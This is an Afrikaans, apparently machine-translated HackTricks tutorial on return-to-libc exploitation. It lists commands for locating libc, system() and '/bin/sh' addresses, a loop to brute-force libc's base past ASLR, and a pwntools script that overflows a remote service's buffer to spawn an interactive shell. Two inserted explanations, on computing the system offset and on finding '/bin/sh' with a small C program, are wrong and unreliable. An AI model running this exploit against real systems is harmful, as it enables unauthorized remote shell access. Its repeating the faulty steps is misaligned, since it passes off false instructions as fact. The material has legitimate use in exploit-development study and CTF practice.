hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md
2024-02-11 02:07:06 +00:00

140 lines
5.8 KiB
Markdown

<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
</details>
**As jy 'n kwesbare binêre lêer gevind het en jy dink jy kan dit uitbuit deur Ret2Lib te gebruik, kan jy hierdie basiese stappe volg.**
# As jy **binne** die **gasheer** is
## Jy kan die **adres van lib**c vind
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
As jy wil nagaan of die ASLR die adres van libc verander, kan jy die volgende doen:
```bash
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
```
## Kry die verskuiwing van die stelsel funksie
Om die verskuiwing van die stelsel funksie te kry, kan jy die volgende stappe volg:
1. Identifiseer 'n funksie in die teikenprogram wat 'n biblioteekfunksie aanroep, soos `system()`.
2. Kry die adres van die funksie in die biblioteek. Dit kan gedoen word deur die program te ontleder of deur gebruik te maak van 'n hulpmiddel soos `objdump`.
3. Identifiseer 'n plek in die program se geheue waar jy 'n string kan plaas wat die pad na die biblioteek bevat. Dit kan 'n argument wees wat deur die funksie aanvaar word, of 'n ander plek in die geheue waar jy toegang tot het.
4. Bereken die verskuiwing deur die adres van die funksie in die biblioteek af te trek van die adres van die string in die geheue.
Hier is 'n voorbeeld van hoe jy die verskuiwing kan bereken:
```python
# Voorbeeld Python-kode
adres_van_stelsel_funksie = 0x12345678
adres_van_string = 0xabcdef01
verskuiwing = adres_van_stelsel_funksie - adres_van_string
print(f"Verskuiwing: {verskuiwing}")
```
Onthou dat die spesifieke waardes van die adresse sal verskil vir elke program en stelsel. Jy sal die korrekte adresse vir jou teikenprogram moet vind en die berekening dienooreenkomstig aanpas.
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
## Kry die offset van "/bin/sh"
Om die offset van die `"/bin/sh"` string te kry, kan jy die volgende stappe volg:
1. Skryf 'n eenvoudige C-program wat die `"/bin/sh"` string bevat.
2. Kompileer die program sonder enige optimalisering.
3. Voer die program uit en onthou die geheue-adres van die `"/bin/sh"` string.
4. Gebruik die geheue-adres om die offset te bereken.
Hier is 'n voorbeeld van hoe jy dit kan doen:
```c
#include <stdio.h>
int main() {
printf("/bin/sh\n");
return 0;
}
```
Kompileer die program met die volgende opdrag:
```bash
gcc -o binsh binsh.c
```
Voer die program uit en onthou die geheue-adres van die `"/bin/sh"` string:
```bash
./binsh
```
Die geheue-adres sal in die uitset verskyn. Gebruik hierdie adres om die offset te bereken.
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
## /proc/\<PID>/maps
As die proses elke keer as jy daarmee praat (netwerkbediener) **kinders skep**, probeer om daardie lêer te **lees** (jy sal waarskynlik root moet wees).
Hier kan jy **presies sien waar die libc gelaai word** binne die proses en **waar dit gelaai gaan word** vir elke kind van die proses.
![](<../../.gitbook/assets/image (95).png>)
In hierdie geval word dit gelaai by **0xb75dc000** (Dit sal die basisadres van libc wees)
## Gebruik gdb-peda
Kry die adres van die **system**-funksie, die **exit**-funksie en die string **"/bin/sh"** met behulp van gdb-peda:
```
p system
p exit
find "/bin/sh"
```
# Om ASLR te omseil
Jy kan probeer om die basisadres van libc te bruteforce.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
# Kode
```python
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
```
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>